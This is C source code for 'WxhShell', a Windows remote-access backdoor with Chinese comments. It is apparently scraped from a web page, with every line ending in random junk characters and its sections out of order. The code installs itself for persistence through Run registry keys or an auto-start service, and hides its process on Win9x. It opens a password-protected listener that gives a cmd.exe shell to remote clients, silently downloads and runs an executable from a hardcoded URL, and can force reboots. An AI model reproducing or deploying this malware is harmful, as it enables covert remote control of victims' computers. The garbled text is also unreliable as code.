    if(Boot(SHUTDOWN)) :<HLw.4O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9CAu0N5<  
    else { 6{I6'+K~  
    closesocket(wsh); 0"Zxbgu)  
    ExitThread(0); .>S1do+  
    } IaK J W?  
    break; +No` 89Y  
    } (\nEU! Y  
  // 获取shell K+ ~1z>&  
  case 's': { KwgFh#e  
    CmdShell(wsh); *S?'[PS]1  
    closesocket(wsh); VQ8Fs/Zt!  
    ExitThread(0); ">Ms V/  
    break; ;.^! 7j  
  } (M<l}pl)  
  // 退出 *=tA},`\7  
  case 'x': { !s:_>P`MQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6Hfv'X5E`Z  
    CloseIt(wsh); }z,9!{~`  
    break; )l.AsfW%  
    } pfw`<*e'  
  // 离开 Ai)>ot  
  case 'q': { ^]Q.V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); CR;E*I${  
    closesocket(wsh); ]wfY<Z  
    WSACleanup(); PXML1.r$Q  
    exit(1); |oSqy  
    break; rjj_]1?K  
        } HD3WsIim*  
  } 3Pp+>{2_?  
  } brG!TJ   
Pz\ByD  
  // 提示信息 ju07gzz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7]ySj<1  
} N1$PW~)Y  
  } `jyyRwSoe  
C6Cr+TScH  
  return;  Frz  
}  \< dg  
*.KVrS<B1  
// shell模块句柄 f=.!/e70  
int CmdShell(SOCKET sock) 7SNdC8GZ~  
{ \En"=)A  
STARTUPINFO si; u,{R,hTDS  
ZeroMemory(&si,sizeof(si)); T8%!l40v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u /DE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9JX@c k  
PROCESS_INFORMATION ProcessInfo; i`W~-J  
char cmdline[]="cmd"; $G{j[iLY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (nXnP{yb  
  return 0; ^Wn+G8n  
} PgA1:i&'  
 \S1W,H|  
// 自身启动模式 %*o  
int StartFromService(void) wLb:FB2  
{ D u T6Od/f  
typedef struct |QMmF"0  
{ 5#s],h  
  DWORD ExitStatus; w%..*+P  
  DWORD PebBaseAddress; (h@!_qi9:  
  DWORD AffinityMask; q2'}S A/  
  DWORD BasePriority; )l.uj  
  ULONG UniqueProcessId; N%ccy?B  
  ULONG InheritedFromUniqueProcessId; <&gs)BY  
}   PROCESS_BASIC_INFORMATION; uA;#*eiA/  
BkPt 1i  
PROCNTQSIP NtQueryInformationProcess; lpS v  
Hc[@c)DH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [@JK|50|K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KUK.;gG*Z  
x*RSD,3  
  HANDLE             hProcess; 'Bxj(LaV-  
  PROCESS_BASIC_INFORMATION pbi; $ZZ?*I  
iH@u3[w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5j$&Zgx51  
  if(NULL == hInst ) return 0; 5k9 vYW5k  
MkjB4:"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f F)M'C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  o0>|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =wW M\f`=  
Di27=_J  
  if (!NtQueryInformationProcess) return 0; cruBJZr*  
N)Q.P'`N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L N.:>,  
  if(!hProcess) return 0; =:xX~,qmv  
Pk;yn;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z5 @i"%f  
< W`gfpzO  
  CloseHandle(hProcess); GDe,n  
6R^32VeK($  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D&I/Tbc  
if(hProcess==NULL) return 0; U<Qi`uoj!  
@$ Nti>  
HMODULE hMod; " C&>$h_%  
char procName[255]; e`H>}O/ai  
unsigned long cbNeeded; Mis B&Ok`k  
I)vR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DpeJx  
?U[6X| 1  
  CloseHandle(hProcess); , V,Q(!$F  
(*=>YE'V{  
if(strstr(procName,"services")) return 1; // 以服务启动 8~t8^eBg  
j~V $q/7S  
  return 0; // 注册表启动 i+in?!@G:  
} K(lSR  
oNw=O>v  
// 主模块 Eu~1t& 4  
int StartWxhshell(LPSTR lpCmdLine) bZ:+q1 D  
{ s]6;*mI2  
  SOCKET wsl; hmOGteAf-  
BOOL val=TRUE; iAk.pH]a  
  int port=0; s8 MQ:eAP  
  struct sockaddr_in door; WcS`T?Xa  
mSYm18   
  if(wscfg.ws_autoins) Install(); MBw;+'93qf  
~@ PD\  
port=atoi(lpCmdLine); U1Fo #L  
z^.dYb7<  
if(port<=0) port=wscfg.ws_port; `''y,{Fs  
8> $=p4bf  
  WSADATA data; L@=$0p41;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &4}=@'G@  
@Lf&[_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E R~RBzp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X$1YvYsID  
  door.sin_family = AF_INET; C96*,.j~'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vzbGLap#  
  door.sin_port = htons(port); w xte  
^2 H-_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .K(9=yh  
closesocket(wsl); g[t paQ  
return 1; "u^vBd[}  
} ?E+f<jol  
RPf<-J:t  
  if(listen(wsl,2) == INVALID_SOCKET) { <]KQ$8dtD  
closesocket(wsl); |ka/5o  
return 1; t2OBVzK  
} 0%[IG$u)|  
  Wxhshell(wsl); 3)#Nc|  
  WSACleanup(); EK[J!~  
[xrsa!$   
return 0; &g5PPQ18  
"M-';;  
} Dt(D5A  
s$fX ;  
// 以NT服务方式启动 czu9a"M>X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NyRa.hgZ;  
{ ~CV.Ci.dG  
DWORD   status = 0; 6("bdx;!  
  DWORD   specificError = 0xfffffff; ty#6%  
X])iQyN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D84&=EpVZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; F7*)u-4Yn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cAwqIihZ  
  serviceStatus.dwWin32ExitCode     = 0; w}OBp^V^  
  serviceStatus.dwServiceSpecificExitCode = 0; Gds(.]_  
  serviceStatus.dwCheckPoint       = 0; 5fiWo^s}  
  serviceStatus.dwWaitHint       = 0; %dW ;P[0  
N*$GP3]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "]q xjs^3?  
  if (hServiceStatusHandle==0) return; ;ZAwf0~  
ilJ`_QN  
status = GetLastError(); /J_ ],KdU  
  if (status!=NO_ERROR) <&) hg:  
{ FNF`Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;UpJ_y)n8\  
    serviceStatus.dwCheckPoint       = 0; wf]?:'}  
    serviceStatus.dwWaitHint       = 0; %!nN<%  
    serviceStatus.dwWin32ExitCode     = status; _z BfNz9D  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0KgP'oWvY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); XL aD#J  
    return; EwV$2AK  
  } V-go?b`  
~!PWJ~U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w5PscEc  
  serviceStatus.dwCheckPoint       = 0; h~9P3 4m  
  serviceStatus.dwWaitHint       = 0; B&rNgG7~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a$Ud"  
} )}N:t:rry  
e<1Ewml(]  
// 处理NT服务事件,比如:启动、停止 Bx5xtJ|!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @M<qz\ [  
{ DMch88W  
switch(fdwControl) 579D  
{ O9By5j 4  
case SERVICE_CONTROL_STOP: uQdy  
  serviceStatus.dwWin32ExitCode = 0; j?|Vx'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 80Fa i  
  serviceStatus.dwCheckPoint   = 0; H{5,  -x  
  serviceStatus.dwWaitHint     = 0; wH@S$WT  
  { gAztdA sLM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H^S<bZ  
  } W =Bw*o-  
  return; XtZd% #2},  
case SERVICE_CONTROL_PAUSE: ,qp8Rg|3j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; D- C]0Jf3  
  break; U n)Xe  
case SERVICE_CONTROL_CONTINUE: }F.k,2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b?iPQ$NyQ  
  break; ,T zlW\?\  
case SERVICE_CONTROL_INTERROGATE: U7n#TPet  
  break; rBQ<5.  
}; 1DAU *^-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q) aZ0 Pt  
} l"dXL"h  
]W Yub1  
// 标准应用程序主函数 UTu~"uCR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Pm2LB<qS  
{ .EHq.cde  
aL&egM*  
// 获取操作系统版本 u e  
OsIsNt=GetOsVer(); xL.m<XDL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JSju4TQ4  
ue7D' UZL>  
  // 从命令行安装 ju[y-am$/  
  if(strpbrk(lpCmdLine,"iI")) Install(); Q~wS2f`)  
fOSk > gK  
  // 下载执行文件 P~!,"rY  
if(wscfg.ws_downexe) { )ej1)RU"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .J @mpJdY  
  WinExec(wscfg.ws_filenam,SW_HIDE); Oj%5FUP~[%  
} Wm"#"l4  
7@gH{p1  
if(!OsIsNt) { 3p HI+a  
// 如果时win9x,隐藏进程并且设置为注册表启动 (fl$$$  
HideProc(); -UidU+ES;  
StartWxhshell(lpCmdLine); n>eDN\5  
} a)r["*bTx  
else xWY\,'+Q  
  if(StartFromService()) *^ G,  
  // 以服务方式启动 =BR+J9  
  StartServiceCtrlDispatcher(DispatchTable); *u|1Z%XO  
else ~V?z!3r-)  
  // 普通方式启动 5({_2meJ:  
  StartWxhshell(lpCmdLine); yId1J  
.6rbn8h  
return 0; > JA-G@3i  
} MRo_An+  
Io IhQ  
+U ziO#D  
->;2CcpHB  
=========================================== 7>MG8pf3a  
[ t8]'RI%  
DEkv,e  
l*wGKg"x3  
[x, `)Fk  
mc2uI-W  
" [8Z#HjhQ  
w1zMY:9  
#include <stdio.h> +C7W2!I[G2  
#include <string.h> OUwnVAZZ6  
#include <windows.h> Mby4(M+&n  
#include <winsock2.h> rZB='(?  
#include <winsvc.h> l9j= ;h  
#include <urlmon.h> fXnewPr=#  
J_yXL7d  
#pragma comment (lib, "Ws2_32.lib") 3jW&S  
#pragma comment (lib, "urlmon.lib") 2)$-L'YS  
$Q'LDmot  
#define MAX_USER   100 // 最大客户端连接数 "B +F6  
#define BUF_SOCK   200 // sock buffer 7J6Z?  
#define KEY_BUFF   255 // 输入 buffer  6; )5v  
M?P\YAn$  
#define REBOOT     0   // 重启 x _-V{ k  
#define SHUTDOWN   1   // 关机 Fo ;J3<U)  
BaP'y8dVN  
#define DEF_PORT   5000 // 监听端口 bxO/FrwTj{  
1Lje.%(E.  
#define REG_LEN     16   // 注册表键长度 UB8n,+R  
#define SVC_LEN     80   // NT服务名长度 |${ImP  
\AoqOC2u  
// 从dll定义API _ 3>E+9TQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ra^%__N}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q6sb;?I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %}~(%@qB>+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (5:pHX`P  
"8?Fl&=Q  
// wxhshell配置信息 PC255  
struct WSCFG { 6v%ePFul  
  int ws_port;         // 监听端口 n dN*X'  
  char ws_passstr[REG_LEN]; // 口令 J2oh#TGp  
  int ws_autoins;       // 安装标记, 1=yes 0=no "+&pd!\  
  char ws_regname[REG_LEN]; // 注册表键名 !RwhVaSh  
  char ws_svcname[REG_LEN]; // 服务名 6'uCwAQU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (5+g:mSfr  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %`]!atH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >6WZSw/Hq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /d"@$+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y|0/;SjV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ofz?L#:2  
(OwGp3g  
}; f2Xn!]o  
-U_,RMw~  
// default Wxhshell configuration G*%U0OTi  
struct WSCFG wscfg={DEF_PORT, d9jD?HgM(  
    "xuhuanlingzhe", : #n>Q1}x  
    1, `0_ Y| 4KB  
    "Wxhshell", %yfl-c(u  
    "Wxhshell", x\:KfYr4Y;  
            "WxhShell Service", &dni6E4  
    "Wrsky Windows CmdShell Service", DMp@B]>  
    "Please Input Your Password: ", c3#eL  
  1, =;I+: K  
  "http://www.wrsky.com/wxhshell.exe", ;:R2 P@6f  
  "Wxhshell.exe" o.zP1n|G~r  
    }; Ml?KnSb  
\x4:i\Fx@  
// 消息定义模块 gzW{h0iRr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q]K$yo  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &{qKoI]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^k^?>h  
char *msg_ws_ext="\n\rExit."; 1#+|RL4o  
char *msg_ws_end="\n\rQuit."; F)imeu  
char *msg_ws_boot="\n\rReboot..."; @;hdZLG]`&  
char *msg_ws_poff="\n\rShutdown..."; (w(k*b/  
char *msg_ws_down="\n\rSave to "; 8~RJnwF^  
`pDTjJ  
char *msg_ws_err="\n\rErr!"; s0x/2z  
char *msg_ws_ok="\n\rOK!"; FK-q-PKO#.  
,BGUIu6  
char ExeFile[MAX_PATH]; ){eQ.yW  
int nUser = 0; Nx*1m BC  
HANDLE handles[MAX_USER]; W*(- * \1[  
int OsIsNt; k w   
Y2dml!QM  
SERVICE_STATUS       serviceStatus; v Lq%k+D#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W|n$H`;R  
OqF8KJnO;  
// 函数声明 II~91IEk  
int Install(void); JxLfDr,dy  
int Uninstall(void); kG}F/GN?  
int DownloadFile(char *sURL, SOCKET wsh); Vwjic2lGI  
int Boot(int flag); $o$WFV+h  
void HideProc(void); 6zNWDUf  
int GetOsVer(void); O2 + K  
int Wxhshell(SOCKET wsl); IQ-l%x[fue  
void TalkWithClient(void *cs); A+4Kj~`!  
int CmdShell(SOCKET sock); Lh.-*H  
int StartFromService(void); f:~$x  
int StartWxhshell(LPSTR lpCmdLine); @B(E&  
^mC,Z+!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9v3n4=gc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GY0OVAW6'c  
Hfo<EB2Y9N  
// 数据结构和表定义 mV4gw'.;7  
SERVICE_TABLE_ENTRY DispatchTable[] = ),j6tq[  
{ X*5N&AJ  
{wscfg.ws_svcname, NTServiceMain}, =d:3]M^  
{NULL, NULL} u3wd~.  
}; &uBf sa$  
SK 5]7C2  
// 自我安装 MpJ<.|h  
int Install(void) O2="'w'kR  
{ ~.0'v [N  
  char svExeFile[MAX_PATH]; + DE/DR:  
  HKEY key; d'3"A"9R7-  
  strcpy(svExeFile,ExeFile); ;<GxonIV  
Z*h}E  
// 如果是win9x系统,修改注册表设为自启动 +qT+iHa|n  
if(!OsIsNt) { R?- zJ ;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oK4xRv8Hd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CY[3%7 fv  
  RegCloseKey(key); /_Ku:?{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \n^[!e"`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `P*BW,P'T  
  RegCloseKey(key); 87eH~&<1  
  return 0; [cl+AV "  
    } tXZMr   
  } A^LS^!Jz  
} 8IBr#+0  
else { I'p+9H$  
DxpJP,wY3  
// 如果是NT以上系统,安装为系统服务 ;#0$iE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {Ja(+NQ  
if (schSCManager!=0) EIyFGCw|U  
{ imAOYEH7}  
  SC_HANDLE schService = CreateService 8Djki]  
  ( |GsMLY:0  
  schSCManager, {9x>@p/  
  wscfg.ws_svcname, vX}w_Jj>  
  wscfg.ws_svcdisp, %^nNt:N0  
  SERVICE_ALL_ACCESS, Fpeokr"i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |3Oyg?2  
  SERVICE_AUTO_START, (~E-=+R[$&  
  SERVICE_ERROR_NORMAL, p|dn&<kd  
  svExeFile, .c0u##/0  
  NULL, Q7<VuXy  
  NULL, uwZ,l-6T  
  NULL, [/VpvQ'  
  NULL, 7l~^KsX  
  NULL Y%- !%|  
  ); F[!%,-*  
  if (schService!=0) ?K:. Pa  
  { k*\)z\f  
  CloseServiceHandle(schService); 9&`";dg  
  CloseServiceHandle(schSCManager); :M f8q!Q'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); eMmNQRmH  
  strcat(svExeFile,wscfg.ws_svcname); l"DHG`kb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <m VFC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {&B_b|g*fW  
  RegCloseKey(key); HIvSpO  
  return 0; 6-)WXJ@V  
    } Wi>m}^}9  
  } ">eled)O  
  CloseServiceHandle(schSCManager); "19#{yX4  
} KRcB_(  
} q5'G]j{,Z  
*n7=m=%)  
return 1; J:&.[  
} A*81}P_  
o^* :  
// 自我卸载 ud BIEW,`  
int Uninstall(void) vD?D]8.F~Q  
{ 1TR+p? "  
  HKEY key; V@b7$z  
d ePk}Sn  
if(!OsIsNt) { WWZ<[[ >  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /4c`[  
  RegDeleteValue(key,wscfg.ws_regname); _od /)#  
  RegCloseKey(key); j2u'5kJ G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UntFkoO  
  RegDeleteValue(key,wscfg.ws_regname); S<cz2FlV  
  RegCloseKey(key); [)GRP  
  return 0; ~_N,zw{x  
  } I9>vm]  
} K@g ~  
} ~_ZK93o(  
else { ecoI-@CAI  
*i:8g(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v~T)g"_|  
if (schSCManager!=0) R LF6Bc  
{ jl(D;JnF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b$fmU"%&|  
  if (schService!=0) Qj_)^3`e  
  { YI"!&a'yj  
  if(DeleteService(schService)!=0) { A%F8w'8(  
  CloseServiceHandle(schService); jQ%1lQ#R)  
  CloseServiceHandle(schSCManager); ,pdzi9@=t  
  return 0; U]vUa^nG  
  } mI4GBp  
  CloseServiceHandle(schService); vN],9 q  
  } rOt{bh6r  
  CloseServiceHandle(schSCManager); "#7Q}d!x  
} ) xa )$u  
} oST)E5X;7  
6'/ Zq  
return 1; 'iZwM>l\  
} 7qOkv1.}0  
LTo!DUi`  
// 从指定url下载文件 YjTr49Af0  
int DownloadFile(char *sURL, SOCKET wsh) [m h>N$  
{ Kb<c||2Nh5  
  HRESULT hr; %M'`K  
char seps[]= "/"; uj.$GAtO)  
char *token; 8w:mL^6x  
char *file; (:`4*xK  
char myURL[MAX_PATH]; |^UQVNJ  
char myFILE[MAX_PATH]; qp6'n&^&  
uKM` umE  
strcpy(myURL,sURL); cyB+(jLHDs  
  token=strtok(myURL,seps); NcF>}f,}\  
  while(token!=NULL) H7&y79mB  
  { S}U_uZ$b  
    file=token; x,10o   
  token=strtok(NULL,seps); TsoxS/MI"  
  } R$ +RTG:E  
=CD6x= l6  
GetCurrentDirectory(MAX_PATH,myFILE); ?zutU w/m  
strcat(myFILE, "\\"); !J#P 'x0  
strcat(myFILE, file); m]MR\E5]By  
  send(wsh,myFILE,strlen(myFILE),0); /ZabY  
send(wsh,"...",3,0); Ezew@*(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PDA9.b<q0  
  if(hr==S_OK) Aqf91 [c  
return 0; ';Nc;9  
else Y_ne?/sZE  
return 1; t855|  
cRr3!<EZ  
} M *3G  
b' M"To@  
// 系统电源模块 zzI,iEG  
int Boot(int flag) 9ETdO,L)f  
{ O]hUOc `k  
  HANDLE hToken; urx?p^c  
  TOKEN_PRIVILEGES tkp; UF5_be,D  
ZZ^A&%E(a  
  if(OsIsNt) { E8sM`2z5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ar/P%$Zfq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2'M5+[8y8  
    tkp.PrivilegeCount = 1; kDm uj>D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; RPeH[M^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [3-u7Fx!  
if(flag==REBOOT) { z$%8'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a-,*iK{_u  
  return 0; URm<Ji  
} eza"<uBr  
else { @Nh}^D >j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]O:8o<0  
  return 0; ]Bf1p  
} k&t.(r\  
  } C/N;4  
  else { Y&=DjKoVh  
if(flag==REBOOT) { ATc!c +  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M61Nl)|mx&  
  return 0; A#I&&qZ  
} Wll0mtv  
else { GOA dhh-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (NR( )2  
  return 0; l 7dm@S  
} %{r3"Q=;W  
} b&h'>(  
oupWzjo  
return 1;  8(K:2  
} o!+'< IQ'  
3)=ix. wW  
// win9x进程隐藏模块 H'!OEZ  
void HideProc(void) )^qXjF  
{ _UkBOJ:G$H  
Y+23 jlgb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :/][ n9J^  
  if ( hKernel != NULL ) 3A"TpR4f`  
  { Jg'#IM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kkHK~(>G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JleClB(2n/  
    FreeLibrary(hKernel); R|qNyNXo[  
  } 'Bt!X^  
\oxf_4X  
return; SFuSM/Pf  
} [N4N7yF  
R'B_YKHBY  
// 获取操作系统版本 Ex_dqko  
int GetOsVer(void) w0$+v/  
{ b9?Vpu`?  
  OSVERSIONINFO winfo; g6DIWMoO=h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0)K~pV0aT  
  GetVersionEx(&winfo); NqKeQezX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4,QA {v  
  return 1; GcO:!b*YMp  
  else e&ZTRgYdi  
  return 0; 8_`C&vx  
} GK11fZpO:i  
t6 -fG/Kc  
// 客户端句柄模块 h|'|n/F  
int Wxhshell(SOCKET wsl) jb/C\2U4)  
{ Xu#?Lw  
  SOCKET wsh; # 7d vT=  
  struct sockaddr_in client; PK&&Vu2M  
  DWORD myID; 0lq?l:/  
751Q i  
  while(nUser<MAX_USER) 6_yatq5c  
{ Bmt8yR2  
  int nSize=sizeof(client); Kt]vTn7!9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oTb42a_j{  
  if(wsh==INVALID_SOCKET) return 1; HtE^7i*_  
w0sy@OF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]1GyEr:  
if(handles[nUser]==0) l&W:t9o  
  closesocket(wsh); o^d|/;  
else u0?TMy.%  
  nUser++; SV95g@  
  } "[z/\l8O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N@'l: N'f4  
9"B;o  
  return 0; ?0z/i^I  
} 6y`FW[  
qnd] UUA^  
// 关闭 socket "<&o ;x<  
void CloseIt(SOCKET wsh) r}|)oG,=  
{ ~% ]V,-4  
closesocket(wsh); f<<$!]\  
nUser--; Ut1s~b1  
ExitThread(0); ~Lu,jLKL=[  
} XWz~*@ci  
F$:mGyl5_  
// 客户端请求句柄 MScUrW!TA  
void TalkWithClient(void *cs) [%Dh0hOg  
{ =:xJZy$  
#^-'q`)  
  SOCKET wsh=(SOCKET)cs; {JKG-0)z?  
  char pwd[SVC_LEN]; & }"I!  
  char cmd[KEY_BUFF]; b*nI0/cbR.  
char chr[1]; #:MoZw`rlw  
int i,j; G[zysxd  
x< d ew  
  while (nUser < MAX_USER) { m<MN.R7  
&Dp&  
if(wscfg.ws_passstr) { ]8cD,NS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FY+@fy  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0r&FH$  
  //ZeroMemory(pwd,KEY_BUFF); hSh^A5 /  
      i=0; >M m.MNU  
  while(i<SVC_LEN) { zrtbk~v8y  
2v*X^2+  
  // 设置超时 [R~@#I P!  
  fd_set FdRead; "JYWsE  
  struct timeval TimeOut; QX(t@VP  
  FD_ZERO(&FdRead); d;r,?/C  
  FD_SET(wsh,&FdRead); $VxuaOTyVZ  
  TimeOut.tv_sec=8; G%%F6)W  
  TimeOut.tv_usec=0; oJ=u pnBn-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]zvOM^l~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y$3liDeL=  
lcoJ1+`C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "MOmJYH  
  pwd=chr[0]; KZ [:o,jp>  
  if(chr[0]==0xd || chr[0]==0xa) { yN}<l%  
  pwd=0; CTX%~1 _`O  
  break; <2+FE/3L  
  } j8t_-sU9 i  
  i++; 7H[.o~\  
    } &v r0{]V^  
*b1NVN$  
  // 如果是非法用户,关闭 socket -]Oi/i,{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .Ag)/Xm(?  
} F@X8a/;F-  
{JcMJZ3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <,nd]a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k0DX|O8mXV  
".fnx8v,  
while(1) { Lb2/ Te*  
hN1{?PQ  
  ZeroMemory(cmd,KEY_BUFF); 7q^a@5f BG  
T!5g:;~y >  
      // 自动支持客户端 telnet标准   o6:p2W  
  j=0; pkA(\0E8  
  while(j<KEY_BUFF) { ?eR^\-e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YccD ^w[`B  
  cmd[j]=chr[0]; {E>(%vD  
  if(chr[0]==0xa || chr[0]==0xd) { ns8I_H  
  cmd[j]=0; sVIw'W  
  break; <$'FTv  
  } Z9PG7h  
  j++; mz .uK2l{  
    } )XD$YI  
}nNCgH  
  // 下载文件 %XWb|-=  
  if(strstr(cmd,"http://")) { 8~h.i1L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); If.hA}  
  if(DownloadFile(cmd,wsh)) >K;C?gHo  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #c2JWDH1F  
  else pS)/yMlVj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?|we.{  
  } lA7\c#  
  else { UR.l*+<W7  
'd=B{7k@  
    switch(cmd[0]) { C&KH.h/N  
